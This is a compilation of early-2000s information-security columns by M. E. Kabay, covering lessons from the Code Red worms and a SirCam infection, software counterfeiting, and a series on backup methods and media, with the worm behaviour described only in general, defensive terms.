Using "VPN tunneling software" as a search string in the GOOGLE search engine brought up hundreds of hits, many of them for specific products and data sheets, so I am sure you will be able to find a solution that fits your needs.

In your specific case, the fact that some of the e-mail might include confidential patient data means that the relatively modest investment in VPN technology would make a lot of sense for you in complying with your local legal requirements for protecting such data. But once you have the VPN in place, please make sure that all your users have also implemented driver-level data encryption on their computers so that the received, decrypted data are not susceptible to discover if someone steals their laptop or home computer.

Lessons from the Code Red Worm

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

On June 19, 2001, the Computer Emergency Response Team Coordination Center (CERT-CC) issued Advisory CA-2001-13 < http://www.cert.org/advisories/CA-2001-13.html > warning of a buffer overflow in the Microsoft Internet Information Server software versions 4.0 or 5.0 running under Windows 2000 and beta-test versions of Windows XP. This vulnerability allows execution of arbitrary code on a susceptible machine; i.e., anyone can execute any instructions they like on an unpatched system.

The Advisory urged, "Since specific technical details on how to create an exploit are publicly available for this vulnerability, system administrators should apply fixes or workarounds on affected systems as soon as possible."

One month later, on July 19, Advisory CA-2001-19 < http://www.cert.org/advisories/CA-2001-19.html > was issued announcing that the "Code Red" worm (a free-standing, self-propagating program that spreads through network connections) was exploiting the vulnerability announced in CA-2001-13. The best description of this worm's internals that I have seen is from the Internet Security Systems X-Force < http://xforce.iss.net/alerts/advise89.php >. The worm's functions are in three phases: scanning and propagation; flooding; and sleep. In the first phase, which is limited to the infected systems' definition of the 1st to the 19th of any month, the worm code, which is memory-resident at all times until a system is rebooted (i.e., there is no disk file for re-loading the code), scans either a fixed list of pseudo-random IP addresses or (in more recent variants) or a variable list of generated IP addresses. The initial variant's repeated scanning of fixed addresses permitted researchers to monitor how many systems were infected; most agree that around 250,000 systems were infected within nine hours of the initial reports. Vulnerable systems are then infected and the process continues, causing a noticeable (albeit so far modest) rise in total Internet bandwidth consumption. During this phase, the original version of the worm substituted the message "Welcome to http://www.worm.com! Hacked by Chinese!" to all requests for an HTTP connection.

The flooding phase, from the 20th to the 27th of the month, originally targeted the numerical IP address for http://www.whitehouse.gov , which eluded the distributed denial-of-service attack by changing its IP address in the Domain Name System. However, it is clear that later variants of this worm can easily be modified to use other methods for targeting victims; in addition to using alphanumeric addresses, the worm could take a leaf from several recent viruses by looking for the target address in specific off-shore locations on the Net where law enforcement and technical collaboration are slower than in the US and other developed countries.

The worm then goes to sleep and does not appear to wake up again; later variants, however, could easily be programmed to reawaken.

The variants of the worm described at the time of this writing (end of July) were more adept at spreading (because they didn't use the same list of IP addresses over and over) and they hid themselves from detection by not putting up the substitute message, allowing for a longer propagation phase without interruption.

A free scanner for this worm is available at < http://eeye.com/html/Research/Tools/codered.html

>.

There are some obvious lessons from this outbreak:

1) It took only a month from public discovery and patch of a vulnerability to an outbreak of an exploit.
2) It has taken more than a month for many administrators of vulnerable systems to apply the patch.
3) Variants of the worm appeared almost immediately, and they were worse than the first ones.
4) The number of unpatched systems is so high that even a simple attack can measurably affect Internet traffic and increase response time for Web connections.
5) All unpatched systems will continue to be vulnerable to this type of exploit.
6) The fundamental flaw that allowed for this attack is poor programming: buffer overflows imply that input strings are not being checked for length or otherwise edited, allowing strings to be interpreted as instructions. Manufacturers need to improve their quality assurance.
7) The originator of the attack may never be known.
8) The criminal hacker subculture has bred a group of people whose enjoyment of harm approaches the level of clinical sociopathy.
9) The long-standing warnings from Donn Parker and others about automation of computer crime are coming true (see Parker's 1998 book , *Fighting Computer Crime: A New Framework for Protecting Information*_ from Wiley (NY; ISBN 0-471-16378-3. xv + 500 pp; index).
10) We are very close to major damage to the information infrastructure through self-propagating code that exploits the inability and unwillingness of management to support network administrators in keeping their system patches up to date.

Perhaps it would be interesting to see what would happen if the sociopaths of the criminal underground were confronted with significant rewards for turning in the perpetrators of this kind of exploit. Maybe it would also be interesting to see what would happen if a class-action lawsuit were launched against manufacturers who distribute fatally flawed code to millions of sites.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. CodeRed II –Lessons Part 2

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

At the time of this writing (Tuesday the 7th of August), the CodeRed.C (aka CodeRed II) worm was spreading through the Internet, infecting Web servers running unpatched versions of MS-IIS (Internet Information Server) by exploiting the long-known ISAPI Indexing Service buffer overflow vulnerability.

The new variant is worse than the first version(s) because the payload is not so obvious; instead of launching a denial-of-service (DoS) attack on a particular IP address or vandalizing a Website, the new malware is a Trojan dropper: i.e., it installs a back door (an unauthorized access route) on infected systems, thus exposing the victim to future trouble. In addition, the worm uses randomized IP address scanning to find additional hosts. Superinfection (repeated infection of a system that is already infected) is prevented by creating a semaphore file called "CodeRedII"; presence puts the worm to sleep. Interestingly, the worm is more vicious if the system language is Chinese; in that case, it uses twice the resources to locate additional victims. The trap door consists of a file "cmd.exe" (renamed root.exe) that allows an attacker to use the HTTP "get" command to execute an unauthorized script. Finally, the worm checks the system date; in October 2001, the worm will reboot the system during its installation.

In an excellent analysis of the implications of the CodeRed family of worms, Elinor Mills Abreu interviewed several security experts for an article entitled "Code Red Foreshadows Evolution of Cyber Threats" on 3 Aug 2001 (see < http://news.excite.com/printstory/news/r/010803/22/net-tech-codered-dc >). She points out that this worm shows that infectious code can rapidly increase the damage caused by its payload. However, deleting files or reformatting disk drives are not the worst payloads imaginable; subtle damage is far more threatening. Examples include

- allowing root compromise;
- intelligent searches for keywords such as "CONFIDENTIAL" and covert transmission to IP addresses that are redefined frequently and supplied dynamically to the worm;
- random (but modest) modifications of numerical data in spreadsheets, documents and Web pages (e.g., 20% reduction or increase in price on items for sale, financial report data, or engineering data);
- random modifications of operators in spreadsheets, source code or even executable code (e.g., changing a few plus operators to minus and multiplications to division) that would not necessarily cause program aborts.

CodeRed – Defenses (Lessons Part 3)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the last article in this short series about the implications of the CodeRed family of worms, I looked at the new variant called CodeRedII. In this article, I review some of the defenses that can help to fight infection by these malicious agents.

I was interested in three of press releases that came my way in the wake of the CodeRed news. The first was from my former employer, TruSecure Corporation < http://www.trusecure.com >. The news was that with an estimated 650,000 infected systems worldwide, not a single TruSecure customer was infected. The company explained this result by pointing out that their clients were warned of the IIS buffer overflow vulnerability a year ago; that the TruSecure process involves repeated testing to identify continued vulnerability and that the vulnerable customers were nagged to update their systems using the right patches. Now, even though I own stock in the TruSecure Corporation, I hope I am not biased in thinking that they're doing it right for their clients.

The next press release that caught my eye was from PatchLink Corporation < http://www.patchlink.com >, which makes what sounds like a useful product for managing software patches. Patchlink Update 3.0 is currently in beta-test (should be available in the production version later this year) but is reported to have protected its users against the CodeRed worms. The product scans for patches appropriate for a system, downloads the right patches, and then reports on its findings to system administrators so they can decide whether and when to deploy the patches. It's about time: we have the same kind of automated service from some of our antivirus products (mine checks for updates several times an hour because I have a new persistent connection to the Internet via a satellite link) and many other products (e.g., McAfee OilChange automatically looks for updates to a wide variety of programs).

Finally, a press release from Ubizen < http://www.ubizen.com > stated that its MultiSecure DMZ/Shield protected a customer against infection by the CodeRed worm(s). "MultiSecure DMZ/Shield protects the area between a company's Webserver and firewall, an area referred to as the 'demilitarized zone', or DMZ. The shield works as a scanner, checking all requests sent to the Webserver before passing the data onto the web applications. In essence, DMZ/Shield analyzes all http traffic for content not trusted, not expected, and not known by the Web servers. This process guarantees protection against unknown Web server security bugs and is the reason even new and tweaked versions of the Code Red Worm did not infect the [client] site."

Pull the Plug on Worms

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The SirCam worm has been spreading around the world in the last month and is one of the most widely prevalent worms today. This worm sends its code to everyone listed in the e-mail address book of infected systems by attaching itself to randomly selected documents. For full information see (among many other places) < http://www.trusecure.com/html/tspub/hypeorhot/rxalerts/hohsircam_cid118.shtml >.

I had an interesting experience recently when an infected computer began sending out files every twenty minutes. I received half a dozen files in a row from the same user. Some were MS-Excel spreadsheets, others were MS-Word documents. These files seemed to be confidential; they included lists of members for a professional association, some budget figures, and other information that the author surely did not want spread throughout the Internet.

I did not know the originator of these messages, but the return address seemed valid, so I sent an e-mail after seeing the first file warning her of the infection. When I continued to receive files over the next couple of hours, I did a WHOIS on the sender's domain and located a telephone number for a technical contact. The receptionist transferred me to the victim, who explained that she was aware of the infection and working with technical support to update her antivirus software and remove the worm.

I asked, "Have you unplugged your system from your Internet connection?"

She had not.

I (quite emphatically) instructed her to pull the network connection at once and put it back in only when disinfection was complete. She did so, and I received no further infected confidential files from her computer.

The lesson here is that it's very nice to update your antivirus and disinfect your machine, but if you are the victim of an e-mail enabled worm, for goodness' sake unplug your computer at once from your network connection to prevent further activity by the worm.

In summary, technical support staff should instruct their users to

(a) report all suspected malicious-software infections at once;
(b) never criticize a user for a false positive (thinking there's a virus when there's not);
(c) tell users to disconnect their possibly-systems from access to all networks immediately;
(d) resolve the problem using updated antivirus software and appropriate disinfection techniques; and
(e) only then reconnect the system to the Internet.

In addition, I urge everyone not to ignore infected computers. It may not be practical for everyone to respond to each infected message sent by a worm (and if everyone responds to every infected message the bandwidth consumption will be enormous), but if you receive several infected files from the same computer over an hour or so, it's only courteous to let the originator know that they have a problem. After all, *someone* has to be the bearer of the bad news.

Watch Out for Counterfeits (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

On the 13th of August, Los Angeles district FBI agents arrested four suspected counterfeiters and seized over $10M of fake Microsoft Windows ME, Office 2000 and Windows 2000 installation disks. The bust also netted a large number of stick-on holograms attempting to duplicate the Microsoft hologram that is part of the legitimate installation disks.

In addition to the FBI, law enforcement agencies involved in the year-long investigation included the Los Angeles Police Department, the Los Angeles County Sheriff's Department and the U.S. Customs Service. Authorities indicated that the counterfeiting operation was organized by Asian crime syndicates.

Also in April 2001, three people were sentenced to a 2.5, 4, and 4.5 years in prison, respectively, for a counterfeiting operation involving several thousand counterfeit software items and stolen Microsoft Certificates of Authenticity. Had the counterfeits been sold at retail, the operation could have generated around $4.5M in illicit profits.

Microsoft reported that in the period from September 2000 to April 2001, its anti-counterfeit operations initiated and cooperated in legal actions in 22 countries (including Argentina, Brazil, Canada, Colombia, Hong Kong, Poland, Romania, Singapore, Taiwan, the United Kingdom, the United States and Venezuela), resulting in the removal of 38,065 Web pages offering counterfeit software. In the period from January 2000 through April 2001, Microsoft was awarded $17.7M by courts worldwide in restitution and fines.

Microsoft alone claims that around 5M counterfeit copies of its products are sold yearly worldwide. Total losses due to counterfeiting of software are difficult to measure, but industry estimates are that $12 billion in revenue were lost to the US holders of software intellectual property in 1999; more controversial estimates translate this figure into 107,000 lost jobs in the US and more than $5B lost wages to American workers. The controversy arises because many critics of the software industry claim that few of the people who bought cheap counterfeits could possibly afford what they describe as the inflated prices charged by software companies.

Home-made counterfeits are also dangerous. For example, on August 6, 2001, the Business Software Alliance (BSA) announced that a commercial printing company from St Louis Park, MN ended up paying $260,000 in penalties to settle lawsuits for having made unauthorized copies of Adobe, Apple, Macromedia and Microsoft software – and in addition, the company agreed to purchase licenses to replace all the illegally-copied software.

In the next part of this two-part series, I will suggest some practical reasons and suggestions for avoiding counterfeits and illegal copies of proprietary software.

* * *

For details of the Los Angeles raid, see <

http://www.cnn.com/2001/TECH/industry/08/13/microsoft.software/index.html >

Watch Out for Counterfeits (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first part of this two-part series, we looked at some recent cases of counterfeiting and illegal copying of proprietary software. In this article, I present some practical arguments for fighting illegal copying and list some simple advice for staying out of trouble.

Tolerating illegal copying of software is dangerous for any organization. Such toleration sends a message to employees that other forms of illegality may be acceptable to management; examples of disasters due to such attitudes have included industrial espionage and sabotage against competitors. In addition, tolerating illegality opens a firm to blackmail and to vindictive reporting of crimes by disgruntled or fired employees. Finally, US managers must understand that illegal copying of proprietary software is a violation of 17 USC §506(a). Under 18 USC §3571, making ten or more copies of one or more proprietary programs with a retail value of at least $2,500 within a 180-day period is punishable by up to five years in prison and fines of up to $250,000 for the individuals involved in the software theft.

Some practical guidelines for network managers to avoid hassles from counterfeit software:

- When buying PCs from local dealers, be sure that you obtain all the installation CDs and certificates of authenticity for every software package included on the PC disk.
- If you have any doubts about the authenticity of software you have bought for your organization, contact an anti-piracy hotline. The Software & Information Industry Association (SIIA) has one at 800-388-7478; the Business Software Alliance hotline is 1-888-NO PIRACY (1-888-667-4722).

For good measure, here are some simple suggestions for avoiding problems from unauthorized copies of licensed software within your organization:

- Ensure that corporate policies explicitly forbid copying of proprietary software. No legitimate business can tolerate theft by its employees.
- No employee should ever feel pressured to break the law; provide full information on how to report any such pressures to internal employee-assistance services or, if necessary, to outside law-enforcement agencies.
- Bar installation of unauthorized software of any kind by users onto corporate computers. Company laptops, in particular, should not carry unlicensed copies of the users' personal selection of software from their home computers.
- Audit all your users' computers to verify compliance with copyright law.
- If you are unclear on whether a software license allows you to install the product on more than one computer (for example, on a main computer and also on a laptop computer if only one of the systems will be in use at any one time), simply call the software manufacturer to find out.
- Be aware that upgrades to a product do not release previous versions you own for distribution to other computers or to other people. An upgrade is a continuation of a

single license for use, not a new product in addition to your previous versions.

Backups (1): Introduction

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the first in a series of short articles reviewing the theory and practice of making backups. The series is based on my Chapter 41 of the forthcoming _Computer Security Handbook, 4th Edition_ to be published in April 2002 by Wiley.

* * *

Nothing is perfect. Equipment breaks, people make mistakes, and data become corrupted or disappear. Everyone and every system needs a well-thought-out backup policy. In addition to making backups, data processing personnel must also consider requirements for archival storage and retrieval of data copies. Backups also apply to personnel, equipment, and electrical power, but this chapter deals exclusively with data backups; for other applications of redundancy, see Chapters 15 and 31.

Definitions

Backups are copies of data. Normally, backups are stored on a different medium from the original data. In particular, a copy of a file on the same disk as the original is an acceptable backup only for a short time; the *.bak, *.bk!, *.wbk, and *.sav files are examples of such limited-use backups. However, a copy on a separate disk loses value as a backup as the original file is modified; typically, backups are taken on a schedule that balances the costs and inconvenience of the process with the probable cost of reconstituting data that were modified after each backup. Finally, deletion of a working file converts a copy from a backup into an original. Naïve users, in particular, may not understand this relationship; some of them mistakenly believe that once they have a "backup" on a diskette, they can delete the original file safely. However, if original files are to be deleted (e.g., when a disk volume is to be formatted), there must be double backups of all required data to ensure safety should there be any storage or retrieval problems on a particular backup medium.

Throughout this series, the following abbreviations are used to denote data storage capacities:

* KB = kilobyte = 1024 bytes (characters)

* MB = megabyte = 1024 KB = 1,048,576 bytes

* GB = gigabyte = 1024 MB = 1,073,741,824 bytes

* TB = terabyte = 1024 GB = 1,099,511,627,776 bytes.

Incidentally, according to a 1998 proposal from the International Electrotechnical Commission (IEC), the prefixes above should be KiB (kibibytes), MiB (mebibytes), GiB (gibibytes), and TiB (tebibytes) (see http://physics.nist.gov/cuu/Units/binary.html) to distinguish them from the powers-of-ten notations using kilo (10^3), mega (10^6), giga (10^9) and tera (10^{12}), but this suggestion has not yet been widely accepted by the technical community.

Need

Backups are used for many purposes:

* First and foremost, to provide is valid information in case of data corruption or data loss;

* To satisfy legal requirements for access to his storable data; e.g., for audit purposes;

* In forensic examination of data to recognize and characterize a crime and to identify suspects;

* For statistical purposes in research;

* To satisfy requirements of due care and diligence in safeguarding corporate assets;

* To meet unforeseen requirements.

In the next article, we'll look at mechanisms available for making backups for different sizes of systems.

* * *

Backups (3):
Logging and Software

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the third in a series of short articles reviewing the theory and practice of making backups.

* * *

Logging

If real-time access to perfect data is not essential, a well-established approach to high-availability backups is to keep a log file of all changes to critical files. _Roll-forward_ recovery requires

* Backups that are synchronized with log files to provide an agreed-upon starting point;

* Markers in the log files to indicate completed sequences of operations (called _transactions_) that can be recovered;

* Recovery software that can read the log files and re-do all the changes to the data, leaving out incomplete transactions.

An alternative to roll-forward recovery is _roll-backward_ recovery, in which diagnostic software scans log files and identifies only the incomplete transactions and then returns the data files to a consistent state.

Backup Software

All operating systems have utilities for making backups. However, sometimes the utilities that are included with the installation sets are limited in functionality; for example, they may not provide the full flexibility required to produce backups on different kinds of removable media. Generally, manufacturers of removable media include specialized backup software suitable for use with their own products.

When evaluating backup software, users will want to check for the following particularly minimum requirements:

* The software should allow complete control over which files are backed up.

* Users should be able to obtain a report on exactly which files were successfully backed up and detailed explanations of why certain files could not be backed up.

* Data compression should be available.

* Backups must be able to _span_ multiple volumes of removable media (i.e., a backup must not

be limited to the space available on a single volume).

* If free space is available, it should be possible to put more than one backup on a single volume.

* The backup software must be able to verify the readability of all backups as part of the backup process.

* It should not be easy to create backup volumes that have the same name.

* The _restore_ function should allow selective retrieval of individual files and folders or directories.

* The destination of restored data should be controllable by the user.

* During the restore process, the user should be able to determine whether to overwrite files that are currently in place; the overwriting should be controllable both with file-by-file confirmation dialogs and globally (without further dialog).

* Restore operations should be configurable to respect the read-only attribute on files or to override that attribute globally or selectively.

In the next article, we'll look at removable media for backups.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. Backups (2): Mechanisms

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the second in a series of short articles reviewing the theory and practice of making backups.

* * *

Because data change at different rates in different applications, backups may be useful when made at frequencies ranging from milliseconds to years.

Parallel Processing

The ultimate backup strategy is to do everything twice at the same time. Systems such as Tandem and Stratus use redundant components at every level of processing; for example, they use arrays of processors, dual I/O buses, multiple banks of random-access memory and duplicate disk storage devices to permit immediate recovery should any computations go awry. Redundant systems use sophisticated communications between processors to assure identity of results. If any computational components fail, processing can continue uninterrupted while the defective components are replaced.

Hierarchical Storage Systems

Large computer systems with TB of data typically use a *hierarchical storage system* to place often-used data on fast, relatively expensive disks while migrating less-used data to less expensive, somewhat slower storage media. However, users need have no knowledge of or involvement in such migration; all files are listed by the file system and can be accessed without special commands. Because the tape cartridges are stored in dense arrays (usually cylindrical for minimum mean distance among tapes, hence the name *silo*) with total capacities in the hundreds of TB per silo, fast-moving robotic arms can locate and load the right tape within seconds. The user may experience a brief delay of a few seconds as data are copied from tape cartridges back onto hard disk, but otherwise there is no problem for the users. This system provides a degree of backup simply because data are not erased from tape when they are copied from tape to disk, nor are data removed from disk when they are appended to tape; this data remanence provides a degree of backup (albeit a temporary one) because of the duplication of data.

Disk Mirroring

At a less sophisticated level, it is possible to duplicate disk operations so that disk failures cause limited or no damage to critical data.

Redundant arrays of Independent Disks (RAID) were described in the late 1980s and have become a practical approach to providing fault tolerant mass storage. The falling price of disk storage (1 Mb of hard disk cost about $200 in 1980 versus about $0.02 in 2001) has allowed inexpensive disks to be combined into highly reliable units that contain different levels of redundancy among the components for applications with increasing requirements for full-time availability. The disk architecture involves special measures for ensuring that every sector of the disk can be checked for validity at every input and output (I/O) operation. If the primary copy of

a file shows data corruption, the secondary file is used and the system automatically makes corrections to resynchronize the primary file. From the user's point of view, there is no interruption in I/O and no error.

Workstation and PC Mirroring

Software solutions can also provide automatic copying of data onto separate disks. For example,

* SureSync software can mirror files on Windows NT and Windows 2000;

* UnixWare Optional Services include Disk Mirroring software for SCO UNIX;

* McAfee's Safe & Sound product (among others) allows PC users to duplicate specific files, folders and volumes onto separate disks in real time.

Early users of software-based disk mirroring suffered from slower responses when updating their primary files because the system had to complete output operations to the mirror file before releasing the application for further activity. However, today's software uses part of system memory as a buffer to prevent performance degradation. Secondary (mirror) files are nonetheless rarely more than a few milliseconds behind the current status of the primary file.

In the next article, we'll look at logging and backup software.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (4):
Removable Media

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the fourth in a series of short articles reviewing the theory and practice of making backups.

* * *

Removable Media

The density of data storage on removable media has increased thousands of times in the last quarter century. For example, in the 1970s, an eight-inch word-processing diskette could store up to 128 KB. In contrast, at the time of writing (September 2001), a removable disk cartridge three inches in diameter stored 20 GB, provided data transfer rates of 15 MB per second, and cost around $100. Moore's Law states that computer equipment power and capacity doubles every 12 to 18 months for a given cost; this relationship definitely applies to mass storage and backup media.

Diskettes

Because of the growing size of application files (e.g., an empty document created with MS-Word 2000 can take 24 KB – 1.6% of a 1.44 MB 3.5" diskette), old-style diskettes are no longer practical for any but the simplest manual backups. In addition, floppy disk drives are so slow that users revolt against requirements to do backups using this medium.

The modern equivalents of floppy disks are in fact hard disks, but they are almost the same size as 3.5" floppy disks despite carrying hundreds or thousands of times more data. For example, IOMEGA Corporation < http://www.iomega.com > is the leading provider of the widely-used ZIP diskette-like storage media with 100 MB and 250 MB capacities. Many PCs and servers being sold today (2001) include ZIP drives as well as or instead of 3.5" floppy drives. In addition, add-on drives are available as portable or in-system units with a variety of interfaces (SCSI, parallel port, and USB).

Large-Capacity Hard Disk Cartridges

IOMEGA also makes JAZ drives in 1 GB and 2 GB capacities. Their Peerless units provide cartridges of 10 GB or 20 GB and drives with a high-speed Firewire interface. Their DataSafe product, intended for servers, has capacities of 160 GB or 320 GB per unit.

Optical Storage

Many systems are now using optical storage for backups. Compact-Disc Read-Write (CD-RW) disks are the most widely-used format; each disk can hold approximately 700 MB of data and costs only a few dollars. The read/write drives cost a few hundred dollars in 2001. In addition, large numbers of CDs are easily handled using "jukeboxes" that apply robotics to access specific

disks from collections of hundreds or thousands on demand.

Tape Cartridge Systems

The old 9-track, reel-to-reel 6250 bpi systems used in the 1970s and 1980s held several hundred MB. Today's pocket-sized tape cartridges hold GBs. For example, the industry leader in this field, StorageTek (< http://www.storagetek.com > makes individual tape drives with uncompressed capacities of 20 GB, 60 GB, and 110 GB; compression typically doubles, triples or quadruples these capacities, depending on the nature of the data. Data seek can take 40 seconds; data transfer rates for such systems are typically in the range of 10-15 MB/second. Cartridges have mean-time-between-failure (MTBF) of 250,000 hours with 100% duty cycles and can tolerate 1,000,000 tape passes. All such systems have streaming I/O using about 10 MB of RAM buffer to prevent interruption of the read/write operations from and to the tapes and thus keep the tape moving smoothly to maximize data transfer rates.

In conjunction with automated tape library systems holding many cartridges and capable of automatically switching to the next cartridge, these systems are ideal for backing up servers and mainframes with TB of data. Small library systems keep 10-20 cartridges in position for immediate access (approximately 9 seconds for an exchange). These libraries have approximately 2,000,000 mean exchanges between failures with MTBF of around 360,000 hours at 100% duty cycle.

The largest library systems (e.g., the StorageTek L700) can have up to 678 cartridges loaded at once, up to 20 drives for concurrent access, and total capacities of up to 149 TB with compression. Total throughput can exceed 2 TB/hour.

In the next article, we'll look at labeling backup volumes.

* * *

The author has no financial interest whatever in any of the companies mentioned in this article and references to products should not be construed as endorsement or recommendation.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (5):
Labeling Media

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the fifth in a series of short articles reviewing the theory and practice of making backups.

* * *

Regardless of the size of one's backup, every storage device (from diskettes to tape cartridges) should be clearly and unambiguously labeled. At a minimum, one should see the date, system from which data were copied, a description of the data, and the name of the person responsible for the storage medium. Most devices allow electronic labeling; diskettes or removable hard disks used on Windows systems, for example, can be labeled with up to 11 letters, numbers or the underscore character. Larger-capacity media such as cartridges used for UNIX and mainframe systems have extensive electronic labeling available. On some systems, it is possible to request specific storage media and have the system automatically refuse the wrong media if they are mounted in error. Tape library systems typically use optical bar codes that are automatically generated by the backup software and affixed to each cartridge for unique identification. Magnetic tapes and cartridges have electronic labels written onto the start of each unit with specifics that are particular to each operating system and tape-handling software.

Giving someone a blank storage medium or one with a flimsily attached label is a bad practice that leads to confusion and error. Sticky notes, for example, are not a good way of labeling diskettes and removable disks: if they are taken off, they can get lost; if they are left on, they can jam the disk drives. There are many types of labels for storage media, including printable sheets suitable for laser or inkjet printers and using adhesive that allows removal of the labels without leaving a sticky residue. At the very least, an exterior label should include the following information:

* Date the volume was created (e.g., "2001-09-08")

* Originator (e.g., "Bob R. Jones, Accounting Dept")

* Description of the contents (e.g., "Engineering Accounting Data for 2000")

* Application program (e.g., "Quicken v2002")

* Operating system (e.g., Windows 98).

In the next article, we'll look at how to create files on each backup volume to help identify it and its contents.

* * *

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (6):
README Files

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the sixth in a series of short articles reviewing the theory and practice of making backups.

* * *

Storing files with _canonical names_ (names with a fixed structure) on the media themselves is also useful. An example of a canonical file much used on installation disks is "READ_ME.TXT" An organization can mandate the following files as minimum standards for its storage media:

* ORIGIN.mmm (where _mmm_ represents a sequence number for unique identification of the storage set) indicating the originating system (e.g., "Accounting Workstation number 3875-3" or "Bob Whitmore's SPARC in Engineering");

* DATE.mmm showing the date (preferably in year-month-day sequence) on which the storage volume was created; e.g., "2001-09-08."

* SET.mmm to describe exactly which volumes are part of a particular set; contents could include "SET 123; VOL 444, VOL 445, VOL 446;"

* INDEX.mmm, an index file listing all the files on all the volumes of that particular storage set; e.g., "SET 123; VOL 444 FIL F1, F2; VOL 445 FIL F3, F4; VOL 446 FIL F5."

* VOLUME.nnn (where _nnn_ represents a sequence number for unique identification of the medium) that contains an explanation such as "VOL 444 SET 123 NUMBER 1 OF 3."

* FILES.nnn which lists all the files on that particular volume of that particular storage set; for example, contents could include "SET 123, VOL 444, Files F1, F2, F3".

Such labeling is best handled by an application program; many backup programs automatically generate similar files.

Indexing

Backup volumes need a mechanism for identifying the data stored on each medium. Equally important is the capacity to locate the storage media where particular files are stored – otherwise, one would have to search serially through multiple media to locate specific data. Although not all backup products for personal computers include such functionality, many do; server and mainframe utilities routinely include automatic indexing and retrieval. These systems allow the user to specify file names and dates (using wild-card characters to signify ranges) and display a menu of options from which the user can select the appropriate files for recovery.

In the next article, we'll look at dealing with open files when making backups.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (7):
Open Files

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the seventh in a series of short articles reviewing the theory and practice of making backups.

* * *

All backup systems have trouble with files that are currently in use by processes that have opened them with write access (i.e., which may be adding or changing data within the files). The danger in copying such files is that they may be in an _inconsistent state_ when the backup software copies their data. For example, a multi-phase transaction may have updated some records in a detail file but the corresponding master records may not yet have been posted to disk. Copying the data before the transaction completes will store a corrupt version of the files and lead to problems when they are later restored to disk.

Backup software usually generates a list of everything backed up and of all the files _not_ backed up; for the latter, there is usually an explanation or a code showing the reason for the failure. Operators must always verify that all required files have been backed up and must take corrective action if files have been omitted.

Some high-speed, high-capacity backup software packages provide a buffer mechanism to allow high-availability systems to continue processing while backups are in progress. In these systems, files are frozen in a consistent state so that backup can proceed and all changes are stored in buffers on disk for later entry into the production databases. However, even this approach cannot obviate the need for a minimum period of quiescence so that the databases can reach a consistent state. In addition, it is impossible for full functionality to continue if changes are being held back from the databases until a backup is complete; all _dependent_ transactions (those depending on the previously-changed values of records) must also be held up until the files are unlocked.

In the next article, we'll look at the fundamental types of backups.

Backups (9):
Mainframes and Servers

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the ninth in a series of short articles reviewing the theory and practice of making backups.

* * *

Systems with different characteristics and purposes can require different backup strategies. This section looks at large production systems (mainframes), smaller computers used for distributed processing (servers), individual computers used primarily by one user (workstations) and portable or handheld computers (*_laptops_* and *_personal digital assistants_*, often called *_PDAs_*).

Mainframes

Large production systems using mainframes or networks of servers routinely do full system backups every day because of the importance of rapid recovery in case of data loss. Using high-capacity tape libraries with multiple drives and immediate access to tape cartridges, these systems are capable of data throughput of up to 2 TB/hour (see section 41.2.6.4). Typically, all backups are performed automatically during the period of lowest system utilization. Because of the problems caused by concurrent access, mainframe operations usually reserve a time every day during which users are not permitted to access production applications. A typical approach sends a series of real-time messages to all open sessions announcing, "Full Backup in xx minutes; please log off now." Operations staff have been known to phone offending users who are still logged on to the network when backups are supposed to start. To prevent unattended sessions from interfering with backups (as well as to reduce risks from unauthorized use of open sessions), most systems configure a timeout after a certain period of inactivity (typically 10 minutes). If users have left their sessions online despite the automatic logoff, mechanisms such as forced logoffs can be implemented to prevent user processes from continuing to hold production files open.

In addition to system backups, mainframe operations may be instructed to take more frequent backups of high-utilization application systems. Mission-critical transaction-processing systems, for example, may have several incremental or delta backups performed throughout the day. Transaction log files may be considered so important that they are also copied to backup media as soon as the files are closed (i.e., when a log file reaches its maximum size and a new log file is initiated for the application programs).

Servers

Managers of networks with many servers have the same options as mainframe operations staff, but in addition they have increased flexibility because of the decentralized, distributed nature of the computing environment. Many network architectures segregate specific application systems or groups of users to specific servers; therefore, it is easy to schedule system backups at times convenient for different groups of users. In addition to flexible system backups, the distributed

aspect of such networks facilitates application backups.

In the next article, we'll look at backup strategies for workstations, laptop computers and handheld computers.

* * *

Backups (8):
